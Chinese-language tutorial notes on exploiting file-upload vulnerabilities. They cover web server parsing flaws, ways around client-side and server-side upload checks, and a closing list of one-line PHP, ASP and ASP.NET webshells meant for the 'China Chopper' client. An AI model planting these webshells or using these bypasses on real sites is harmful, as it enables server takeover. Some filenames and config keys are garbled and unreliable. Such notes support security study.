原因:
1.目录过滤不严,攻击者可能建立畸形目录
2.文件未重命名,攻击者可能利用Web容器解析漏洞
3.客户端过滤
利用:上传漏洞可以直接得到webshell
解析漏洞
1. IIS解析漏洞
当建立.asa、.asp格式的文件夹时,其目录下的任意文件都被IIS当作asp文件来解析。
-
当文件为*.asp;1.jpg时,IIS同样会以ASP脚本来执行。
WebDav漏洞:是一种基于HTTP1.1协议的通信协议,支持Put,Move,Copy等方法,可能有安全隐患,桂林老兵的IIS Write工具可以进行扫描。
2.Apache解析漏洞
解析原则: 遇到不认识的扩展名将从后向前解析,如果都不认识,会暴露源代码。支持的扩展名在(apache安装目录的/conf/mine.types/)
3.PHP的cgi解析漏洞
- Nginx通常用来作为PHP的解析容器
- 上传图片木马在url后面加上“/.php”,图片就会被当作php脚本解析,php配置文件中cgi.fi:x_pathinfo*在有些版本中默认开启,php会向前递归解析。
客户端验证绕过
- 使用FireBug直接删除客户端JavaScript验证代码
- Burp Suite修改数据包
服务器端验证
- 黑白名单
- MIME验证
- 目录验证
- 截断上传攻击
1.扩展名绕过
- 如果.php不能上传,直接修改扩展名(phP)再上传
- “菜刀”拿到webshell
2. JS绕过
- 修改要上传的木马文件类型
- 用burpsuite拦截上传数据包,修改回原来的数据类型,上传成功
- 用“中国菜刀” 连接木马地址,密码为“123”
3.Content-Type(HTTP层)
Content-Type:内容类型,一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,这就是经常看到一些Asp网页点击的结果却是下载到的一个文件或一张图片的原因。
- 查看源码发现没有对上传文件进行限制,上传失败可能是后台有判断
- 用burpsuite抓包修改Content-Type的值为“image/jpeg”,图片地址就是木马文件地址
- 用“中国菜刀”进行其他入侵
一句话木马:
PHP:
<?php @eval ($_POST[123]);?>
<?php echo shell_exec($_GET['cmd']);?>
ASP: <%eval request("chopper")%>
ASP.NET:
<%@ page Language="Jscript"%>
<%eval(Request.Item["chopper"],"unsafe');%>
图片一句话木马制作软件:Edjpgcom